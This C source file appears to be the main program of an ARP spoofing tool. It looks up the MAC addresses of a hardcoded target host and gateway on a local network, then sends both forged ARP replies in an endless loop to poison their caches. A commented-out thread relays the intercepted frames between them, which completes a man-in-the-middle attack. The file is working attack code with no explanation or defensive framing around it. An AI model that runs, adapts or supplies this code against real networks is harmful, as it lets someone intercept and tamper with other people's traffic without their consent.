#include "arpspoof.h"
int fd;
uint8_t target_ip_address[] = {192, 168, 2, 156};
uint8_t gateway_ip_address[] = {192, 168, 2, 1};
uint8_t *target_mac;
uint8_t *gateway_mac;
uint8_t source_ip_address[] = {192, 168, 2, 252};
uint8_t source_hw_address[] = {0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f};
// uint8_t br0_addr[] = { 0x6a,0x1c,0x7a,0xfa,0x7e,0x63};
// int thread(void *_);
int main()
{

    char tap_name[] = "tap1";
    fd = open_tap(tap_name);
    if (fd == -1)
    {
        ERR("open tap %s err: %s %d ", tap_name, strerror(errno), errno);
        exit(errno);
    }

    int flags = fcntl(fd, F_GETFL, 0);
    if (flags == -1)
    {
        ERR("get tap fd sys flags err %s %d", strerror(errno), errno);
        exit(errno);
    };
    int err = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
    if (err == -1)
    {
        ERR("set tap fd nonblock flags err %s %d", strerror(errno), errno);
        exit(errno);
    }

    target_mac = mac_get(fd, target_ip_address, source_ip_address,
                         source_hw_address);
    gateway_mac = mac_get(fd, gateway_ip_address, source_ip_address,
                          source_hw_address);

    uint8_t fake_sender_hw_address[] = {0x6a, 0x1c, 0x7a, 0xfa, 0x7e, 0x63};
    uint8_t fake_sender_pro_address[] = {192, 168, 2, 1};
    struct arp_pck spoof_to_target = arp_maker_response(fake_sender_hw_address,
                                                        gateway_ip_address,
                                                        target_mac,
                                                        target_ip_address);
    struct arp_pck spoof_to_gateway = arp_maker_response(fake_sender_hw_address,
                                                         target_ip_address,
                                                         gateway_mac,
                                                         gateway_ip_address);

    // void *heap = malloc(1024 * 1024 * 100);
    // clone(thread, heap + 1024 * 1024 * 100, CLONE_VM | CLONE_FILES | CLONE_FS | CLONE_SIGHAND, NULL);
    int loop_count = 0;
    while (1)
    {
        LOG("send to target %d", loop_count);
        print_arr(&spoof_to_target, sizeof(struct arp_pck), 'x');
        __write_all(fd, &spoof_to_target, sizeof(struct arp_pck));
        LOG("send to gateway %d", loop_count);
        print_arr(&spoof_to_gateway, sizeof(struct arp_pck), 'x');
        __write_all(fd, &spoof_to_gateway, sizeof(struct arp_pck));
        usleep(5000);
        loop_count++;
    }
}

// int thread(void *_)
// {
//     while (1)
//     {
//         uint8_t buf[1024 * 1024 * 10] = {0};
//         int read_count = read(fd, buf, 2048);
//         if (read_count < 0)
//         {
//             // WARN("read warning: %s %d", strerror(errno), errno);
//             continue;
//         }
//         // LOG("read count %d", read_count);
//         if (!is_ip_frame(buf))
//         {
//             WARN("frame is not ip frame");
//             continue;
//         }
//         if (frame_src_mac_eq_mac(gateway_mac, buf) &&
//             frame_dest_ip_eq_ip(target_ip_address, buf))
//         {
//             LOG("FORWARD from \033[33mgateway\033[0m");
//             memcpy(&buf[0], target_mac, 6);
//             memcpy(&buf[6], source_hw_address, 6);
//             __write_all(fd, buf, read_count);
//         }
//         else if (frame_src_mac_eq_mac(target_mac, buf) &&
//                  frame_src_ip_eq_ip(target_ip_address, buf))
//         {
//             LOG("FORWARD from \033[33mtarget\033[0m");
//             memcpy(&buf[0], gateway_mac, 6);
//             memcpy(&buf[6], source_hw_address, 6);
//             __write_all(fd, buf, read_count);
//         }
//         usleep(500);
//     }
// }
